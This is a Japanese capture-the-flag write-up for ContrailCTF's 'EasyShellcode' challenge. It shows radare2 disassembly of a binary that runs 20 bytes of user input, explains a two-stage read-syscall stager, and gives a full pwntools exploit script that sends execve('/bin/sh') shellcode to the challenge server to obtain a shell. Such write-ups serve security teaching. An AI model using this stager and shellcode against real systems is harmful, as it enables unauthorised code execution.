ContrailCTF writeup [EasyShellcode]
はじめに
この記事では2019/12/31~2020/1/3に開催されたContrailCTFで出題されたEasyShellcodeのwriteupを紹介したいと思います.
プログラムの概要
問題を開くと上記のようなウィンドウが表示されます.ここから
$ nc 114.177.250.4 2210
で接続すると配布されているバイナリ problem
が実行されているということが予想できます.
実際に接続してみると
Input your shellcode:
と表示され入力を受け付けていることがわかります.
静的解析
ファイルの種類・セキュリティ機構
$ file ./problem ./problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped $ checksec.sh --file ./problem RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ./problem
ディスアセンブル
$ radare2 -AA ./problem [Cannot analyze at 0x00000700g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [Cannot analyze at 0x00000700ac) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables -- Find expanded AES keys in memory with '/ca' [0x00000710]> pdf @ main ; DATA XREF from entry0 @ 0x72d ┌ 191: int main (int argc, char **argv, char **envp); │ 0x0000081a 55 push rbp │ 0x0000081b 4889e5 mov rbp, rsp │ 0x0000081e 4883ec10 sub rsp, 0x10 │ 0x00000822 64488b042528. mov rax, qword fs:[0x28] │ 0x0000082b 488945f8 mov qword [rbp - 8], rax │ 0x0000082f 31c0 xor eax, eax │ 0x00000831 41b900000000 mov r9d, 0 ; size_t offset │ 0x00000837 41b800000000 mov r8d, 0 ; int fd │ 0x0000083d b922000000 mov ecx, 0x22 ; '"' ; int flags │ 0x00000842 ba07000000 mov edx, 7 ; int prot │ 0x00000847 be64000000 mov esi, 0x64 ; 'd' ; size_t length │ 0x0000084c bf00000000 mov edi, 0 ; void*addr │ 0x00000851 e85afeffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset) │ 0x00000856 488945f0 mov qword [rbp - 0x10], rax │ 0x0000085a 488d3d230100. lea rdi, str.Input_your_shellcode: ; 0x984 ; "Input your shellcode: " ; const char *format │ 0x00000861 b800000000 mov eax, 0 │ 0x00000866 e855feffff call sym.imp.printf ; int printf(const char *format) │ 0x0000086b 488b059e0720. mov rax, qword [obj.stdout] ; obj.__TMC_END │ ; [0x201010:8]=0 │ 0x00000872 4889c7 mov rdi, rax ; FILE *stream │ 0x00000875 e866feffff call sym.imp.fflush ; int fflush(FILE *stream) │ 0x0000087a 488b45f0 mov rax, qword [rbp - 0x10] │ 0x0000087e ba14000000 mov edx, 0x14 ; size_t nbyte │ 0x00000883 4889c6 mov rsi, rax ; void *buf │ 0x00000886 bf00000000 mov edi, 0 ; int fildes │ 0x0000088b e840feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) │ 0x00000890 488b45f0 mov rax, qword [rbp - 0x10] │ 0x00000894 ba07000000 mov edx, 7 │ 0x00000899 be64000000 mov esi, 0x64 ; 'd' │ 0x0000089e 4889c7 mov rdi, rax │ 0x000008a1 e84afeffff call sym.imp.mprotect │ 0x000008a6 488d45f0 lea rax, [rbp - 0x10] │ 0x000008aa 4831d2 xor rdx, rdx │ 0x000008ad 4831ff xor rdi, rdi │ 0x000008b0 4831f6 xor rsi, rsi │ 0x000008b3 4831db xor rbx, rbx │ 0x000008b6 4831c9 xor rcx, rcx │ 0x000008b9 4d31c0 xor r8, r8 │ 0x000008bc 4d31c9 xor r9, r9 │ 0x000008bf 4d31d2 xor r10, r10 │ 0x000008c2 4d31db xor r11, r11 │ 0x000008c5 4d31e4 xor r12, r12 │ 0x000008c8 4d31ed xor r13, r13 │ 0x000008cb 4d31f6 xor r14, r14 │ 0x000008ce 4d31ff xor r15, r15 │ 0x000008d1 4831ed xor rbp, rbp │ 0x000008d4 4831e4 xor rsp, rsp └ 0x000008d7 ff20 jmp qword [rax]
プログラムの動作としては入力されたデータ(シェルコード)を実行するというものになっています. ただし,入力可能な長さが20(0x14)byteに制限されています.これでは一般的なx64向けのシェルコードではバッファが短すぎてすべてのデータを送り込むことができません.
x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー Linux/x64 - execve(/bin/sh) Shellcode (24 bytes) - Linux_x86-64 shellcode Exploit Linux/x86-64 - Execute /bin/sh - 27 bytes
そのため,stagerと呼ばれる手法を使用します.これは,入力できるバッファが少ない際にreadを行うシェルコードを先に送り込み,追加でシェル起動用のシェルコードを追加で読み込ませる方法です.
システムコール
readシステムコールの書式は以下のようになっています.
#include <unistd.h> ssize_t read(int fd, void *buf, size_t count);
まず,第1引数 rdi
に fd
,第2引数 rsi
に *buf
,第3引数 rdx
に count
を格納します.
そして,rax
に 0
を格納して syscall
を読んでやるとreadが呼ばれます.
※システムコールコール番号の確認方法
$ ausyscall x86_64 read read 0 pread 17 readv 19 readlink 89 readahead 187 set_thread_area 205 get_thread_area 211 readlinkat 267 preadv 295 process_vm_readv 310 preadv2 327
シェルコード読み込み部分の詳細
mov rsp, rax ; スタックフレームを復元 mov rsi, [rax] ; シェルコードの格納先 mov rdx, 61 ; 読み込みサイズ(パディング32byte+シェルコード29byte) xor rax, rax ; raxを0に(readのシステムコール番号) syscall jmp rsi ; シェルコード格納先へジャンプ
エクスプロイト
from pwn import * from sys import argv from time import sleep context.log_level = "INFO" binfile = "./problem" context.binary = binfile elf = ELF(binfile) p = remote("114.177.250.4", 2210) payload = b"" payload += asm(''' mov rsp, rax mov rsi, [rax] mov rdx, 61 xor rax, rax syscall jmp rsi ''') padding = b"\x90" * 0x20 shellcode = b"" shellcode += asm(''' xor rdx, rdx push rdx movabs rax, 0x68732f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+0x3b] syscall ''') p.recvuntil("Input your shellcode: ") p.send(payload) p.send(padding+shellcode) p.interactive()
動作例
おわりに
参加していただいた方々,本当にありがとうございます. 間違い等ございましたら連絡よろしくお願いします.